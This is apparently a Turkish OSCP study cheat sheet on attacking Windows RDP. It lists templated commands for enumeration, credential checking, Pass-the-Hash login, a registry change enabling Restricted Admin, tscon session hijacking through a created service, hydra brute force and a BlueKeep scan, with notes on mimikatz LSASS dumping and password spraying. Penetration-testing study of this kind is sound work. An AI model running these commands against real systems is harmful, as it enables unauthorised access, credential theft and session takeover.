RDP (Remote Desktop Protocol)
windows3389 RDP enumeration (NLA/sertifika), xfreerdp ile login ve Pass-the-Hash (/pth), BlueKeep CVE-2019-0708 notu ve oturum kacirma (session hijack).
Komutlar
nmap -p3389 -sV --script rdp-ntlm-info,rdp-enum-encryption {{RHOST}} -oN rdp_enum.txt nmap -p3389 --script rdp-vuln-ms12-020 {{RHOST}} netexec rdp {{RHOST}} -u {{USER}} -p {{PASS}} netexec rdp {{RHOST}} -u {{USER}} -H {{NTHASH}} xfreerdp /v:{{RHOST}} /u:{{USER}} /p:{{PASS}} /cert:ignore +clipboard /dynamic-resolution /drive:share,/home/kali/share xfreerdp /v:{{RHOST}} /u:{{USER}} /pth:{{NTHASH}} /cert:ignore +clipboard /dynamic-resolution xfreerdp /v:{{RHOST}} /d:{{DOMAIN}} /u:{{USER}} /p:{{PASS}} /cert:ignore /dynamic-resolution reg add "HKLM\\System\\CurrentControlSet\\Control\\Lsa" /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f query user sc.exe create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0" && net start sesshijack hydra -L {{WORDLIST}} -p {{PASS}} rdp://{{RHOST}} msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS {{RHOST}}; run" RDP (3389) Genel Bakis
RDP, Windows uzak masaustu servisidir. OSCP’de RDP iki sekilde kritiktir: (1) ele gecirilen kredensiyallerle lateral movement / GUI erisimi, (2) Pass-the-Hash ile parolasiz login (Restricted Admin mode). NLA (Network Level Authentication) acik ise login oncesi kimlik dogrulama gerekir.
Enumeration
nmapilerdp-ntlm-infoscript’i NLA durumunu, hedef hostname/domain/OS build bilgisini sertifika uzerinden sizdirir — bu AD enumerasyonu icin altin degerdedir.rdp-enum-encryptionile sifreleme seviyesi ve NLA zorunlulugu gorulur.netexec rdpile toplanan kredensiyaller hizlica dogrulanir;Pwn3d!ciktisi admin erisimini gosterir.
Kimlik Dogrulama ve Erisim
- Standart login icin
xfreerdpkullanin;/cert:ignoreself-signed sertifikalari atlar,+clipboardve/drive:dosya transferini kolaylastirir. - Pass-the-Hash:
/pth:{{NTHASH}}ile parola olmadan login. Bunun calismasi icin hedefte Restricted Admin mode acik olmali (registry:DisableRestrictedAdmin=0). Eger admin shell’iniz varsa bu degeri kendiniz set edebilirsiniz. - Domain ortaminda
/d:{{DOMAIN}}ekleyin.
BlueKeep (CVE-2019-0708)
Windows 7 / Server 2008 R2 ve oncesinde pre-auth RCE. Cok kararsiz bir exploit oldugundan ve hedefi BSOD ile cokertebildiginden OSCP sinavinda kullanilmasi onerilmez/yasaktir (sadece methodology notu). Tarama icin MSF cve_2019_0708_bluekeep aux modulu (check) kullanilabilir — examSafety: restricted.
Session Hijacking (Post-Exploitation)
SYSTEM yetkisiyle tscon kullanarak baska bir kullanicinin aktif RDP oturumu parolasiz ele gecirilir. Once query user ile session ID tespit edilir, sonra bir servis (sc create) uzerinden SYSTEM baglaminda tscon <ID> /dest:rdp-tcp#0 calistirilir. Bu, disconnected admin oturumlarini ele gecirmek icin guclu bir lateral-movement teknigidir.
Loot / Notlar
- Basarili RDP sonrasi
mimikatzile bellekten kredensiyal cikartin (LSASS). cmdkey /listile kayitli RDP kredensiyallerini,%USERPROFILE%\\Documents\\Default.rdpdosyalarini kontrol edin.- Lockout politikasi nedeniyle RDP brute-force’ta dikkatli olun; tek parola - cok user (password spray) tercih edin.